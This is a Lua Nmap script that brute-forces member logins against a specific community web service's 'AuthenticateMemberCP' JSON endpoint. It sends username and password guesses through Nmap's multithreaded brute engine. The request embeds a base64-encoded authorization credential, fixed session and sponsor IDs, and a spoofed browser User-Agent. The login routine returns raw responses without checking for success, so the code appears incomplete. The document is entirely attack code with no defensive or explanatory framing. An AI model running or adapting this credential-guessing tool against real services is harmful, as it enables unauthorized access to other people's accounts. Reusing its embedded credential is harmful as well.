local comm = require "comm" local stdnse = require "stdnse" local shortport = require "shortport" local brute = require "brute" local http = require "http" local url = require "url" portrule = shortport.port_or_service({80, 443}, {"http", "https"}, "tcp", "open") Driver = { new = function (self, host, port, options) local o = { host = host, port = port, options = options } setmetatable(o, self) self.__index = self return o end, connect = function(self) return true end, login = function(self, username, password) local resp local uri = "/Community/CommunityService.svc/JSON/AuthenticateMemberCP?authorization=TGFuZGluZ1BhZ2VfVXNlcjpecUFQeS1iNWc1Zm96QDNh&communityNameOrID=105" local test, path test = uri .. "&memberUsername=" .. url.escape(username) path = test .. "&memberPassword=" .. url.escape(password) .. "&sponsorID=S999-1907849208&visitorID=1907849208&cpSessionID=6b7e1ac2-7436-4c0f-b3b1-e7777dd33876&callbackmethod=jQuery191014485234646236567_1375786963488&_=1375786963490" resp = http.get(self.host, self.port, path, {header = { Connection = "keep-alive", Pragma = "no-cache", Accept = "*/*", ["User-Agent"] = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11" } }) return resp end, disconnect = function(self) return true end, } action = function(host, port, options) local options = options or {} local thread, result thread = stdnse.get_script_args(SCRIPT_NAME .. ".threads") or 3 local bengine = brute.Engine:new(Driver, host, port, options) bengine:setMaxThreads(thread) bengine.options.script_name = SCRIPT_NAME _, result = bengine:start() return result end